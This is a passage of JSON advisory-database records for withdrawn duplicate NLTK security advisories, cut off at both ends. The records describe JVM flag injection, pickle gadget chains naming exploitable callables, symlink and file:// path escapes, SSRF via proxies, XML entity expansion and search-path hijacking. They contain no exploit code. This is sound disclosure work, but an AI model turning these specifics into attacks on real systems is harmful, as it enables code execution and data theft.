3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yY3c4LTlxcnctMjdtMs4ABlWt/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zaDJnLWo0d3AtN3Fxcc4ABlWu","url":"https://github.com/advisories/GHSA-3h2g-j4wp-7qqq","title":"Duplicate Advisory: JVM argument injection bypass via per-call options in the NLTK Stanford wrappers (incomplete fix of CVE-2026-12841)","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-m4rf-3fr8-xwx3. This link is maintained to preserve external references.\n\n## Original Description\n\nNLTK before 3.10.3 fails to validate JVM options passed through the per-call options parameter in the java() function, allowing attackers to inject dangerous JVM flags. Attackers can supply malicious options like -agentpath, -javaagent, or @argfile to Stanford wrapper classes to achieve arbitrary code execution.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-08-25T18:31:52.000Z","withdrawn_at":"2026-09-01T20:38:13.000Z","classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-m4rf-3fr8-xwx3","https://nvd.nist.gov/vuln/detail/CVE-2026-79675","https://www.vulncheck.com/advisories/nltk-before-jvm-argument-injection-via-per-call-options","https://github.com/advisories/GHSA-3h2g-j4wp-7qqq"],"source_kind":"github","identifiers":["GHSA-3h2g-j4wp-7qqq"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-01T21:00:09.041Z","updated_at":"2026-09-03T07:00:13.338Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zaDJnLWo0d3AtN3Fxcc4ABlWu","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zaDJnLWo0d3AtN3Fxcc4ABlWu","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zaDJnLWo0d3AtN3Fxcc4ABlWu/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13NXE4LTZqcHAtNDI0Ns4ABlWz","url":"https://github.com/advisories/GHSA-w5q8-6jpp-4246","title":"Duplicate Advisory: Corpus readers follow symlinks outside trusted roots despite pathsec enforcement","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-p4rw-rvv2-7xwr. This link is maintained to preserve external references.\n\n## Original Description\nNLTK versions before 3.10.3 contain a path traversal vulnerability in corpus readers that reopen root-derived paths using built-in open() instead of nltk.pathsec.open(), allowing symlinks to escape trusted roots. Attackers who stage symlinked corpus files under a trusted data root can disclose outside-root content through normal corpus reader methods like channels(), domains(), and synonyms().","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-25T18:31:52.000Z","withdrawn_at":"2026-09-02T14:49:21.000Z","classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-p4rw-rvv2-7xwr","https://nvd.nist.gov/vuln/detail/CVE-2026-79676","https://www.vulncheck.com/advisories/nltk-before-path-traversal-via-symlink-bypass","https://github.com/advisories/GHSA-w5q8-6jpp-4246"],"source_kind":"github","identifiers":["GHSA-w5q8-6jpp-4246"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.720Z","updated_at":"2026-09-03T07:00:11.202Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13NXE4LTZqcHAtNDI0Ns4ABlWz","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13NXE4LTZqcHAtNDI0Ns4ABlWz","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13NXE4LTZqcHAtNDI0Ns4ABlWz/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12cDljLTJwam0tODkyNc4ABlS4","url":"https://github.com/advisories/GHSA-vp9c-2pjm-8925","title":"Duplicate Advisory: Allowlisted pickle loaders still permit code execution in current source","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-x99w-6fgc-pmfw. This link is maintained to preserve external references.\n\n## Original Description\nNLTK versions before 3.10.3 contain a remote code execution vulnerability in allowlisted pickle loaders that trust entire module namespaces instead of specific safe callables. Attackers can craft malicious pickle payloads invoking dangerous in-namespace functions like ReppTokenizer._execute and numpy.f2py.crackfortran.myeval through pickle REDUCE to execute arbitrary commands during model or tokenizer artifact loading.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-08-25T12:31:25.000Z","withdrawn_at":"2026-09-02T14:41:02.000Z","classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-x99w-6fgc-pmfw","https://nvd.nist.gov/vuln/detail/CVE-2026-79657","https://www.vulncheck.com/advisories/nltk-before-3.10.3-remote-code-execution-via-unsafe-pickle-deserialization","https://github.com/advisories/GHSA-vp9c-2pjm-8925"],"source_kind":"github","identifiers":["GHSA-vp9c-2pjm-8925"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.720Z","updated_at":"2026-09-03T07:00:11.224Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12cDljLTJwam0tODkyNc4ABlS4","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12cDljLTJwam0tODkyNc4ABlS4","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12cDljLTJwam0tODkyNc4ABlS4/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1neDY1LWM1aGotdnB2Nc4ABlQL","url":"https://github.com/advisories/GHSA-gx65-c5hj-vpv5","title":"Duplicate Advisory: [CWE-502] Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-rhp5-r9x4-f5g2. This link is maintained to preserve external references.\n\n## Original Description\nNLTK before 3.10.0 (affected versions \u003c=3.9.4) contains an unsafe pickle deserialization vulnerability in the TransitionParser.parse() method (nltk/parse/transitionparser.py). The method calls pickle_load() with the default restricted=False, routing deserialization through WarningUnpickler, which does not override find_class() and therefore permits arbitrary class resolution. When an application loads an attacker-crafted model file, embedded pickle gadget chains execute arbitrary Python code with the privileges of the user running the application. NLTK provides a RestrictedUnpickler for safe deserialization, but it is not used by production code paths. Fixed in 3.10.0.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-08-25T03:32:11.000Z","withdrawn_at":"2026-09-02T14:40:50.000Z","classification":"GENERAL","cvss_score":9.4,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2","https://nvd.nist.gov/vuln/detail/CVE-2026-78683","https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization","https://github.com/advisories/GHSA-gx65-c5hj-vpv5"],"source_kind":"github","identifiers":["GHSA-gx65-c5hj-vpv5"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.720Z","updated_at":"2026-09-03T07:00:11.224Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1neDY1LWM1aGotdnB2Nc4ABlQL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1neDY1LWM1aGotdnB2Nc4ABlQL","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1neDY1LWM1aGotdnB2Nc4ABlQL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qeDg5LTNxZzgtcDJtcs4ABlQp","url":"https://github.com/advisories/GHSA-jx89-3qg8-p2mr","title":"Duplicate Advisory: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses (CWE-776)","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-97qj-x29f-37w7. This link is maintained to preserve external references.\n\n## Original Description\n\nNLTK versions before 3.10.3 use xml.etree.ElementTree to parse XML in multiple modules, which honors entity declarations in document DTDs. Attackers can craft XML payloads with nested entity declarations that expand from hundreds of bytes to megabytes in memory, causing denial of service.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-25T03:32:11.000Z","withdrawn_at":"2026-09-02T14:39:54.000Z","classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-97qj-x29f-37w7","https://nvd.nist.gov/vuln/detail/CVE-2026-78681","https://www.vulncheck.com/advisories/nltk-before-entity-expansion-dos-via-elementtree","https://github.com/advisories/GHSA-jx89-3qg8-p2mr"],"source_kind":"github","identifiers":["GHSA-jx89-3qg8-p2mr"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.720Z","updated_at":"2026-09-03T07:00:11.226Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qeDg5LTNxZzgtcDJtcs4ABlQp","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qeDg5LTNxZzgtcDJtcs4ABlQp","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qeDg5LTNxZzgtcDJtcs4ABlQp/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01NHhwLTN3dzctNndqZ84ABlQx","url":"https://github.com/advisories/GHSA-54xp-3ww7-6wjg","title":"Duplicate Advisory: Uncontrolled search path when invoking the Graphviz 'dot' binary (CWE-426/CWE-427)","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-6hwm-xvph-95vm. This link is maintained to preserve external references.\n\n## Original Description\nNLTK versions before 3.10.3 fail to use validated absolute paths when invoking the Graphviz dot binary in dependencygraph.dot2img and AlignedSent._repr_svg_, allowing attackers to execute arbitrary code by placing a malicious dot binary in the search path or current working directory. Attackers can exploit bare-name binary resolution on Windows via the current working directory or on Unix-like systems via relative PATH entries to execute their binary instead of the legitimate Graphviz tool.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-25T03:32:11.000Z","withdrawn_at":"2026-09-01T20:25:22.000Z","classification":"GENERAL","cvss_score":8.5,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-6hwm-xvph-95vm","https://nvd.nist.gov/vuln/detail/CVE-2026-78680","https://www.vulncheck.com/advisories/nltk-before-arbitrary-code-execution-via-graphviz-dot-binary","https://github.com/advisories/GHSA-54xp-3ww7-6wjg"],"source_kind":"github","identifiers":["GHSA-54xp-3ww7-6wjg"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-01T21:00:09.041Z","updated_at":"2026-09-03T07:00:13.339Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01NHhwLTN3dzctNndqZ84ABlQx","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01NHhwLTN3dzctNndqZ84ABlQx","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01NHhwLTN3dzctNndqZ84ABlQx/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jcnA5LXI3cnEtYzhjZ84ABlQy","url":"https://github.com/advisories/GHSA-crp9-r7rq-c8cg","title":"Duplicate Advisory: pathsec SSRF protection can be bypassed when a proxy is configured","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-6ww7-3frv-cqxh. This link is maintained to preserve external references.\n\n## Original Description\nNLTK before 3.10.3 contains a server-side request forgery vulnerability in nltk.pathsec.urlopen (and callers nltk.data.load, nltk.downloader.Downloader.index/download) when an HTTP proxy is configured. pathsec.urlopen validates the requested hostname locally, but proxy-handler inheritance disables the safe HTTP/HTTPS handlers so the actual fetch is performed by the proxy against a destination that is never re-validated. An attacker can supply a validated public URL that the proxy forwards to an internal loopback-only service, allowing disclosure of internal HTTP resources, loading of forged downloader indexes, and installation of attacker-chosen package content.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-25T03:32:11.000Z","withdrawn_at":"2026-09-02T14:40:01.000Z","classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-6ww7-3frv-cqxh","https://nvd.nist.gov/vuln/detail/CVE-2026-78682","https://www.vulncheck.com/advisories/nltk-before-ssrf-protection-bypass-via-proxy","https://github.com/advisories/GHSA-crp9-r7rq-c8cg"],"source_kind":"github","identifiers":["GHSA-crp9-r7rq-c8cg"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.720Z","updated_at":"2026-09-03T07:00:11.225Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcnA5LXI3cnEtYzhjZ84ABlQy","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jcnA5LXI3cnEtYzhjZ84ABlQy","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jcnA5LXI3cnEtYzhjZ84ABlQy/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04aDltLTIybXYtcXY1cs4ABlFp","url":"https://github.com/advisories/GHSA-8h9m-22mv-qv5r","title":"Duplicate Advisory: Symlink escape in CorpusReader allows arbitrary local file read outside the corpus root","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-r6gq-whwq-mvg9. This link is maintained to preserve external references.\n\n## Original Description\nNLTK versions before 3.9.4 contain a symlink escape vulnerability in CorpusReader.open() that allows local attackers to read arbitrary files outside the corpus root. The vulnerability exists because path validation is lexical and does not account for symlink resolution, enabling attackers to place symlinks inside the corpus root to access files outside the intended boundary.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-22T15:31:04.000Z","withdrawn_at":"2026-09-02T14:48:09.000Z","classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-r6gq-whwq-mvg9","https://nvd.nist.gov/vuln/detail/CVE-2026-70626","https://www.vulncheck.com/advisories/nltk-before-symlink-escape-via-corpusreader","https://github.com/advisories/GHSA-8h9m-22mv-qv5r"],"source_kind":"github","identifiers":["GHSA-8h9m-22mv-qv5r"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.720Z","updated_at":"2026-09-03T07:00:11.204Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04aDltLTIybXYtcXY1cs4ABlFp","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04aDltLTIybXYtcXY1cs4ABlFp","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.9.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04aDltLTIybXYtcXY1cs4ABlFp/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jdjJnLW04cnItODg4Y84ABlGR","url":"https://github.com/advisories/GHSA-cv2g-m8rr-888c","title":"Duplicate Advisory: Natural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-rf74-v2fm-23pw. This link is maintained to preserve external references.\n\n## Original Description\nNLTK versions before 3.9.4 contain an unbounded recursion vulnerability in JSONTaggedDecoder.decode_obj() that allows attackers to cause denial of service by supplying deeply nested JSON structures. Attackers can craft JSON payloads exceeding the recursion limit to trigger an unhandled RecursionError that crashes the Python process.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-22T15:31:03.000Z","withdrawn_at":"2026-09-02T15:33:17.000Z","classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-rf74-v2fm-23pw","https://nvd.nist.gov/vuln/detail/CVE-2026-66393","https://www.vulncheck.com/advisories/nltk-before-denial-of-service-via-jsontaggeddecoder","https://github.com/advisories/GHSA-cv2g-m8rr-888c"],"source_kind":"github","identifiers":["GHSA-cv2g-m8rr-888c"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T16:00:09.328Z","updated_at":"2026-09-03T07:00:11.148Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jdjJnLW04cnItODg4Y84ABlGR","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jdjJnLW04cnItODg4Y84ABlGR","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.9.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jdjJnLW04cnItODg4Y84ABlGR/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xcTNoLWNnajgtdzNmeM4ABlGH","url":"https://github.com/advisories/GHSA-qq3h-cgj8-w3fx","title":"Duplicate Advisory: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-f833-7jw8-xwrv. This link is maintained to preserve external references.\n\n## Original Description\nNLTK versions before 3.10.2 contain a symlink-based sandbox bypass in FramenetCorpusReader that allows attackers to read arbitrary XML files outside the corpus root. Attackers can place symlinks with names containing no path separators inside the corpus subdirectory, which pass the path validation guard and are resolved to files outside the intended corpus root when accessed via frame_by_name(), _lu_file(), or doc() methods.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-22T15:31:03.000Z","withdrawn_at":"2026-09-02T14:47:57.000Z","classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-f833-7jw8-xwrv","https://nvd.nist.gov/vuln/detail/CVE-2026-62384","https://www.vulncheck.com/advisories/nltk-framenetcorpusreader-symlink-sandbox-bypass-before","https://github.com/advisories/GHSA-qq3h-cgj8-w3fx"],"source_kind":"github","identifiers":["GHSA-qq3h-cgj8-w3fx"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.720Z","updated_at":"2026-09-03T07:00:11.205Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xcTNoLWNnajgtdzNmeM4ABlGH","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xcTNoLWNnajgtdzNmeM4ABlGH","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 3.10.0, \u003c 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xcTNoLWNnajgtdzNmeM4ABlGH/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03OXBoLXc5bTUtNHY1bc4ABlGO","url":"https://github.com/advisories/GHSA-79ph-w9m5-4v5m","title":"Duplicate Advisory: FileSystemPathPointer.open() sandbox check is dead code — arbitrary file read via file:// protocol","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-72r2-7mfr-5xr9. This link is maintained to preserve external references.\n\n## Original Description\nNLTK versions before 3.10.0 contain a logic bug in FileSystemPathPointer.open() where the sandbox validation check compares a normalized path against itself, making the security check permanently inert. Attackers can pass file:// URLs to nltk.data.load() to read arbitrary files accessible to the process user, including credentials and configuration files.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-22T15:31:03.000Z","withdrawn_at":"2026-09-02T14:47:46.000Z","classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-72r2-7mfr-5xr9","https://nvd.nist.gov/vuln/detail/CVE-2026-65915","https://www.vulncheck.com/advisories/nltk-before-arbitrary-file-read-via-filesystempathpointer","https://github.com/advisories/GHSA-79ph-w9m5-4v5m"],"source_kind":"github","identifiers":["GHSA-79ph-w9m5-4v5m"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.720Z","updated_at":"2026-09-03T07:00:11.206Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03OXBoLXc5bTUtNHY1bc4ABlGO","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03OXBoLXc5bTUtNHY1bc4ABlGO","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.9.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03OXBoLXc5bTUtNHY1bc4ABlGO/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04dzQ4LWg3NXYtY3hwds4ABlGZ","url":"https://github.com/advisories/GHSA-8w48-h75v-cxpv","title":"Duplicate Advisory: Security Report: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-x5ph-mj9p-rfr8. This link is maintained to preserve external references.\n\n## Original Description\nNLTK before 3.10.0 contains an arbitrary local file read vulnerability in StreamBackedCorpusView that bypasses pathsec.ENFORCE by calling builtins.open() directly instead of pathsec.open(). Attackers who control the fileid argument can read arbitrary local files regardless of the ENFORCE setting, including sensitive system files and application credentials.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-22T15:31:03.000Z","withdrawn_at":"2026-09-02T14:48:21.000Z","classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-x5ph-mj9p-rfr8","https://nvd.nist.gov/vuln/detail/CVE-2026-63312","https://www.vulncheck.com/advisories/nltk-streambackedcorpusview-bypasses-pathsec-enforce-arbitrary-file-read","https://github.com/advisories/GHSA-8w48-h75v-cxpv"],"source_kind":"github","identifiers":["GHSA-8w48-h75v-cxpv"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.720Z","updated_at":"2026-09-03T07:00:11.204Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04dzQ4LWg3NXYtY3hwds4ABlGZ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04dzQ4LWg3NXYtY3hwds4ABlGZ","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04dzQ4LWg3NXYtY3hwds4ABlGZ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xcDc2LXBxOWYtZ3I5bc4ABlGV","url":"https://github.com/advisories/GHSA-qp76-pq9f-gr9m","title":"Duplicate Advisory: Stable FrameNet and NKJP readers parse outside-root XML in 3.9.4","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-568f-pv23-39p4. This link is maintained to preserve external references.\n\n## Original Description\nNLTK versions before 3.10.0 contain a path traversal vulnerability in FramenetCorpusReader and NKJPCorpusReader that allows attackers to parse XML files outside the corpus root by supplying unsafe selectors or poisoned index state. Attackers can exploit frame_by_name, doc, lu, and header methods with crafted parameters to read arbitrary XML files accessible to the 